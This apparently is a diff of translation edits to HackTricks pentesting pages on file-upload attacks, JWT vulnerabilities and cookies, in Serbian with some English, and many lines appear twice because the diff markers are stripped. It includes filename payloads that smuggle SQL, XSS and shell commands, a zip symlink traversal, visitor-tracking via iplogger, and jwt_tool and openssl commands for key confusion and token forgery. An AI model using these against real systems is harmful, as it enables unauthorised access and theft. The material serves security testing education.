* Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injekciju**
* Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
* Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
* [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** datoteka **upload** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE u uploadu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**XSS** u učitavanju slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** datoteka **učitavanje** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE u svg učitavanju**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
* Pokušajte **različite svg payload-e** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* Pokušajte **različite svg payloads** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije od svakog posetioca**.
* [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
* Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS-a**](../xss-cross-site-scripting/pdf-injection.md). Ako možete da učitate PDF-ove, mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
* Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da biste proverili da li server ima neki **antivirus**
* Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**.
* [**XXE i CORS** zaobilaženje sa PDF-Adobe učitavanjem](pdf-upload-xxe-and-cors-bypass.md)
* Posebno izrađeni PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
* Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
* Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
Evo liste top 10 stvari koje možete postići učitavanjem (iz [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Evo top 10 liste stvari koje možete postići učitavanjem (sa [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Skladišteni XSS / SSRF / XXE
3. **GIF**: Skladišteni XSS / SSRF
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injekcija
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injekcija / XSS / Otvoreno preusmeravanje
8. **PNG / JPEG**: Napad poplave piksela (DoS)
8. **PNG / JPEG**: Pixel flood napad (DoS)
9. **ZIP**: RCE putem LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
@ -223,13 +223,13 @@ Evo liste top 10 stvari koje možete postići učitavanjem (iz [ovde](https://tw
Pogledajte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) za druge tipove datoteka.
### Zip/Tar datoteka automatski dekompresovana upload
### Zip/Tar datoteka automatski dekompresovana pri učitavanju
Ako možete da učitate ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
#### Symlink
Učitajte link koji sadrži mekane linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, imaćete pristup povezanim datotekama:
Učitajte link koji sadrži mekane linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -304,7 +304,7 @@ pop graphic-context
```
## Ugrađivanje PHP Shell-a u PNG
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i uzorkovanje slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
Detaljna istraživanja ove tehnike, uključujući njenu metodologiju i potencijalne primene, pružena su u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.
@ -314,9 +314,9 @@ Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteka). Međutim, poliglot, prilagođavajući se strukturnim kriterijumima više tipova datoteka, može neprimetno zaobići ova ograničenja.
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik koji predstavljaju potencijalno štetni formati (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može neprimetno zaobići ova ograničenja.
I pored svoje prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -329,23 +329,23 @@ Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podrška HackTricks</summary>
<summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,32 @@
# JWT Ranljivosti (Json Web Tokens)
# JWT Vulnerabilities (Json Web Tokens)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski u pisanju i govoru je obavezno_).
{% embed url="https://www.stmcyber.com/careers" %}
**Deo ovog posta se zasniva na sjajnom postu:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autor sjajnog alata za pentesting JWT-ova** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Brze Pobjede**
### **Quick Wins**
Pokrenite [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) u režimu `All Tests!` i sačekajte zelene linije.
Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@ -51,15 +51,15 @@ Možete samo manipulisati podacima ostavljajući potpis nepromenjenim i proverit
Da biste proverili da li se potpis JWT-a verifikuje:
* Poruka o grešci sugeriše da je verifikacija u toku; osetljive detalje u opširnim greškama treba pregledati.
* Promena u vraćenoj stranici takođe ukazuje na verifikaciju.
* Promena na vraćenoj stranici takođe ukazuje na verifikaciju.
* Nema promene sugeriše da nema verifikacije; tada treba eksperimentisati sa manipulacijom tvrdnjama u payload-u.
### Izvor
Važno je utvrditi da li je token generisan na strani servera ili klijenta pregledom istorije zahteva proksija.
Važno je utvrditi da li je token generisan na serverskoj ili klijentskoj strani pregledom istorije zahteva proksija.
* Tokeni prvi put viđeni sa strane klijenta sugerišu da bi ključ mogao biti izložen klijentskom kodu, što zahteva dalju istragu.
* Tokeni koji potiču sa strane servera ukazuju na siguran proces.
* Tokeni prvi put viđeni sa klijentske strane sugerišu da bi ključ mogao biti izložen klijentskom kodu, što zahteva dalju istragu.
* Tokeni koji potiču sa serverske strane ukazuju na siguran proces.
### Trajanje
@ -82,7 +82,7 @@ Algoritam RS256 koristi privatni ključ za potpisivanje poruke i koristi javni k
Ako promenite algoritam sa RS256 na HS256, kod na backend-u koristi javni ključ kao tajni ključ i zatim koristi HS256 algoritam za verifikaciju potpisa.
Zatim, koristeći javni ključ i menjajući RS256 u HS256, mogli bismo kreirati validan potpis. Možete preuzeti sertifikat web servera izvršavajući ovo:
Zatim, koristeći javni ključ i menjajući RS256 u HS256 mogli bismo kreirati validan potpis. Možete preuzeti sertifikat web servera izvršavajući ovo:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -102,8 +102,8 @@ Uputstva detaljno opisuju metodu za procenu bezbednosti JWT tokena, posebno onih
* Proverite URL "jku" tvrdnje da biste osigurali da vodi do odgovarajuće JWKS datoteke.
* Izmenite "jku" vrednost tokena da biste usmerili ka kontrolisanoj veb usluzi, omogućavajući posmatranje saobraćaja.
* **Praćenje HTTP Interakcije**:
* Posmatranje HTTP zahteva ka vašem specificiranom URL-u ukazuje na pokušaje servera da preuzme ključeve sa vašeg pruženog linka.
* Kada koristite `jwt_tool` za ovaj proces, ključno je ažurirati `jwtconf.ini` datoteku sa vašom ličnom JWKS lokacijom kako bi se olakšalo testiranje.
* Posmatranje HTTP zahteva ka vašem specificiranom URL-u ukazuje na pokušaje servera da preuzme ključeve sa vašeg linka.
* Kada koristite `jwt_tool` za ovaj proces, važno je ažurirati `jwtconf.ini` datoteku sa vašom ličnom JWKS lokacijom kako bi se olakšalo testiranje.
* **Komanda za `jwt_tool`**:
* Izvršite sledeću komandu da simulirate scenario sa `jwt_tool`:
@ -113,15 +113,15 @@ python3 jwt_tool.py JWT_HERE -X s
### Pregled Problema sa Kid
Opcionalna zaglavna tvrdnja poznata kao `kid` koristi se za identifikaciju specifičnog ključa, što postaje posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ova tvrdnja pomaže u odabiru odgovarajućeg ključa za verifikaciju potpisa tokena.
Opcionalna tvrdnja zaglavlja poznata kao `kid` koristi se za identifikaciju specifičnog ključa, što postaje posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ova tvrdnja pomaže u odabiru odgovarajućeg ključa za verifikaciju potpisa tokena.
#### Otkriće Ključa kroz "kid"
#### Otkriće Ključa putem "kid"
Kada je `kid` tvrdnja prisutna u zaglavlju, preporučuje se pretraživanje veb direktorijuma za odgovarajuću datoteku ili njene varijacije. Na primer, ako je `"kid":"key/12345"` specificirano, datoteke _/key/12345_ i _/key/12345.pem_ treba pretražiti u veb korenu.
Kada je `kid` tvrdnja prisutna u zaglavlju, preporučuje se pretraživanje veb direktorijuma za odgovarajuću datoteku ili njene varijacije. Na primer, ako je `"kid":"key/12345"` specificirano, datoteke _/key/12345_ i _/key/12345.pem_ treba pretraživati u veb korenu.
#### Putanja Prelaz sa "kid"
`kid` tvrdnja se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući izbor proizvoljne datoteke. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade menjajući `kid` vrednost kako bi se ciljali specifični fajlovi ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` oznake u jwt\_tool, kao što je prikazano u nastavku:
`kid` tvrdnja se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući odabir proizvoljne datoteke. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade izmenom `kid` vrednosti kako bi se ciljali specifični fajlovi ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` oznake u jwt\_tool, kao što je prikazano u nastavku:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
@ -167,7 +167,7 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. URI koji pokazuje na skup X.509 (standardni format sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Sledeći sertifikati svaki potpisuju prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 52807. Transportna sigurnost je potrebna za prenos sertifikata.
X.509 URL. URI koji pokazuje na skup X.509 (standard formata sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Svaki sledeći sertifikat potpisuje prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 52807. Transportna sigurnost je potrebna za prenos sertifikata.
Pokušajte da **promenite ovaj header u URL pod vašom kontrolom** i proverite da li je primljena neka zahtev. U tom slučaju, **mogli biste da manipulišete JWT-om**.
@ -188,7 +188,7 @@ Ovaj parametar može sadržati **sertifikat u base64**:
![](<../.gitbook/assets/image (1119).png>)
Ako napadač **generiše sertifikat sa sopstvenim potpisom** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novokreiranim sertifikatom i modifikuje druge parametre, naime n, e i x5t, tada bi suštinski lažni token bio prihvaćen od strane servera.
Ako napadač **generiše samopotpisani sertifikat** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novokreiranim sertifikatom i modifikuje ostale parametre, naime n, e i x5t, tada bi suštinski lažni token bio prihvaćen od strane servera.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
@ -235,7 +235,7 @@ Here is a example: [ECDSA: Otkivanje privatnog ključa, ako se koristi isti nonc
### JTI (JWT ID)
JTI (JWT ID) tvrdnja pruža jedinstveni identifikator za JWT token. Može se koristiti za sprečavanje ponovnog korišćenja tokena.\
JTI (JWT ID) tvrdnja pruža jedinstveni identifikator za JWT Token. Može se koristiti za sprečavanje ponovnog korišćenja tokena.\
Međutim, zamislite situaciju u kojoj je maksimalna dužina ID-a 4 (0001-9999). Zahtev 0001 i 10001 će koristiti isti ID. Dakle, ako backend povećava ID sa svakim zahtevom, mogli biste to iskoristiti da **ponovno pošaljete zahtev** (trebalo bi poslati 10000 zahteva između svake uspešne ponovne upotrebe).
### JWT Registrovane tvrdnje
@ -246,7 +246,7 @@ Međutim, zamislite situaciju u kojoj je maksimalna dužina ID-a 4 (0001-9999).
**Napadi preusmeravanja između usluga**
Primećeno je da se neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi kada je token, generisan za jednog klijenta od strane JWT usluge, prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnova JWT-a putem usluge treće strane, treba istražiti mogućnost registracije na račun drugog klijenta te usluge koristeći isto korisničko ime/email. Zatim bi trebalo pokušati ponovo poslati dobijeni token u zahtevu ka cilju da se vidi da li će biti prihvaćen.
Primećeno je da neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi kada je token, generisan za jednog klijenta od strane JWT usluge, prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnova JWT-a putem usluge treće strane, treba istražiti mogućnost registracije na račun drugog klijenta te usluge koristeći isto korisničko ime/email. Zatim bi trebalo pokušati ponovo poslati dobijeni token u zahtevu ka cilju da se vidi da li će biti prihvaćen.
* Kritični problem može biti naznačen prihvatanjem vašeg tokena, potencijalno omogućavajući lažno predstavljanje bilo kog korisničkog računa. Međutim, treba napomenuti da bi mogla biti potrebna dozvola za šire testiranje ako se registrujete na aplikaciji treće strane, jer bi to moglo ući u pravnu sivu zonu.
@ -260,15 +260,15 @@ Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to d
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Cookies Hacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
## Cookie Attributes
Kolačići dolaze sa nekoliko atributa koji kontrolišu njihovo ponašanje u korisnikovom pretraživaču. Evo pregleda ovih atributa u pasivnijem tonu:
@ -34,17 +33,17 @@ Specifična URL putanja koja mora biti prisutna u zahtevanom URL-u da bi se `Coo
### Ordering Rules
Kada dva kolačića imaju isto ime, onaj koji je izabran za slanje zasniva se na:
Kada dva kolačića imaju isto ime, onaj koji se bira za slanje zasniva se na:
* Kolačiću koji se podudara sa najdužom putanjom u zahtevanom URL-u.
* Najnovije postavljenom kolačiću ako su putanje identične.
### SameSite
* Atribut `SameSite` određuje da li se kolačići šalju na zahteve koji potiču sa trećih domena. Nudi tri podešavanja:
* Atribut `SameSite` određuje da li se kolačići šalju na zahteve koji potiču sa trećih strana. Nudi tri podešavanja:
* **Strict**: Ograničava kolačić da se ne šalje na zahteve trećih strana.
* **Lax**: Omogućava kolačiću da se šalje sa GET zahtevima koje pokreću veb sajtovi trećih strana.
* **None**: Dozvoljava kolačiću da se šalje sa bilo kog trećeg domena.
* **None**: Dozvoljava kolačiću da se šalje sa bilo kog domena treće strane.
Zapamtite, dok konfigurišete kolačiće, razumevanje ovih atributa može pomoći da se osigura da se ponašaju kako se očekuje u različitim scenarijima.
@ -61,22 +60,22 @@ Zapamtite, dok konfigurišete kolačiće, razumevanje ovih atributa može pomoć
Tabela iz [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i malo izmenjena.\
Kolačić sa _**SameSite**_ atributom će **ublažiti CSRF napade** gde je potrebna prijavljena sesija.
**\*Napomena da od Chrome80 (feb/2019) podrazumevano ponašanje kolačića bez samesite** **atributa će biti lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Napomena da će privremeno, nakon primene ove promene, **kolačići bez SameSite** **politike** u Chrome-u biti **tretirani kao None** tokom **prvih 2 minuta, a zatim kao Lax za POST zahteve na vrhunskim stranicama.**
**\*Napomena da od Chrome80 (feb/2019) podrazumevano ponašanje kolačića bez samesite atributa** **će biti lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Napomena da privremeno, nakon primene ove promene, **kolačići bez SameSite** **politike** u Chrome-u će biti **tretirani kao None** tokom **prvih 2 minuta, a zatim kao Lax za POST zahteve na vrhunskim stranicama.**
## Cookies Flags
### HttpOnly
Ovo sprečava **klijenta** da pristupi kolačiću (putem **JavaScript-a**, na primer: `document.cookie`)
Ovo sprečava **klijenta** da pristupi kolačiću (putem **Javascript-a**, na primer: `document.cookie`)
#### **Zaobilaženja**
